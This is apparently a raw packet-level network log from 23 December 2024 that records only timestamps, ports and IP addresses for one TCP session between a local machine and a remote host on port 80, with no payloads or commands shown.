Dec 23, 2024 07:16:03.250797987 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.250808954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.251774073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.251910925 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.252037048 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.252887011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.252990007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.253007889 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.253936052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.254010916 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.254013062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.255068064 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.255116940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.255208969 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.256093025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.256190062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.256562948 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.257185936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.257237911 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.257267952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.258258104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.258383989 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.258737087 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.259372950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.259438992 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.259495020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.260410070 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.260503054 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.260658979 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.261488914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.261537075 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.261584997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.262612104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.262697935 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.262711048 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.263675928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.263775110 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.263786077 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.264740944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.264837027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.264853001 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.265784979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.265901089 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.265944004 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.266900063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.267013073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.267070055 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.267972946 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.268090963 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.268119097 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.269063950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.269150972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.269198895 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.270134926 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.270200968 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.270392895 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.271234035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.271303892 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.271311045 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.272274971 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.272366047 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.272372007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.273365021 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.273490906 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.273554087 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.274447918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.274533033 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.274635077 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.291960001 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.292082071 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.627608061 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.747220993 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.747286081 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.747299910 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.747498035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.747622967 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.747626066 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.747637987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.747898102 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.747906923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.747919083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.748429060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.748531103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.748544931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.748759985 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.749326944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.749439955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.749452114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.749485970 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.749485970 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.749485970 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.749485970 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.749639988 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.749737024 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.750159979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.750261068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.750272036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.750504971 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.751055002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.751137972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.751149893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.751190901 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.751190901 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.751190901 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.751372099 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.751485109 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.751903057 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.752016068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.752027988 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.752247095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.752248049 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.752856970 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.752865076 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.752986908 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.752999067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.753236055 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.753566027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.753566027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.753703117 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.753813028 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.753824949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.754000902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.754539013 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.754626036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.754637957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.754672050 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.754672050 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.754672050 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.754862070 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.755337954 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.755439997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.755544901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.755558014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.755775928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.756275892 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.756275892 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.756295919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.756366968 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.756378889 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.756510019 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.756936073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.757010937 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.757045031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.757056952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.757244110 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.757312059 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.757818937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.757922888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.757935047 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.758125067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.758328915 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.758328915 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.758668900 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.758770943 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.758774042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.758786917 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.759033918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.759077072 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.759541035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.759639025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.759650946 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.759754896 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.759754896 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.759866953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.760459900 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.760576010 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.760595083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.760607958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.760689974 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.760787964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.761286020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.761353970 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.761409044 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.761421919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.761540890 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.761610031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.762171984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.762252092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.762263060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.762367010 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.762367010 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.762495041 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.763067961 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.763132095 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.763135910 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.763148069 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.763219118 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.763365984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.763926029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.764019012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.764031887 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.764185905 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.764185905 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.764239073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.764775038 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.764884949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.764897108 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.764954090 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.765017986 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.765084982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.765665054 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.765770912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.765778065 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.765798092 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.765872955 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.765997887 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.766544104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.766618013 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.766629934 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.766752005 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.766752005 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.766855001 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.767410040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.767518997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.767530918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.767611027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.767739058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.768326044 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.768373013 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.768383980 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.768603086 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.768676996 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.768676996 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.769171000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.769237041 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.769248009 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.769474983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.769558907 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.770045996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.770144939 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.770155907 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.770370007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.770895958 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.770895958 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.770916939 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.771027088 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.771039009 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.771251917 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.771377087 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.771377087 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.771795034 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.771878004 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.771888971 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.772099018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.772619963 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.772619963 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.772656918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.772743940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.772754908 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.772759914 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.772824049 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.772974968 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.773516893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.773608923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.773619890 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.773766994 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.773766994 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.773824930 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.774425983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.774528027 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.774543047 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.774555922 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.774734020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.775264025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.775352955 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.775352955 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.775372982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.775391102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.775526047 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.775585890 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.776153088 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.776248932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.776261091 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.776314020 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.776314020 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.776483059 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.777018070 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.777110100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.777121067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.777280092 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.777281046 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.777338028 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.777894020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.777955055 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.778004885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.778016090 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.778179884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.778768063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.778846025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.778848886 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.778848886 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.778856039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.778927088 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.779089928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.779623032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.779683113 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.779727936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.779733896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.779938936 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.779951096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.780481100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.780564070 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.780581951 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.780594110 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.780812979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.780889034 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.781531096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.781620026 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.781635046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.781646967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.781861067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.781868935 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.782247066 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.782330990 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.782341957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.782378912 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.782378912 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.782654047 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.783108950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.783166885 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.783200026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.783210039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.783320904 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.783423901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.784008980 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.784082890 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.784094095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.784303904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.784545898 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.784545898 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.784847975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.784931898 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.784979105 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.784995079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.785173893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.785273075 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:03.785734892 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.785851002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.785862923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:03.786063910 CET	80	49739	185.215.113.16	192.168.2.5
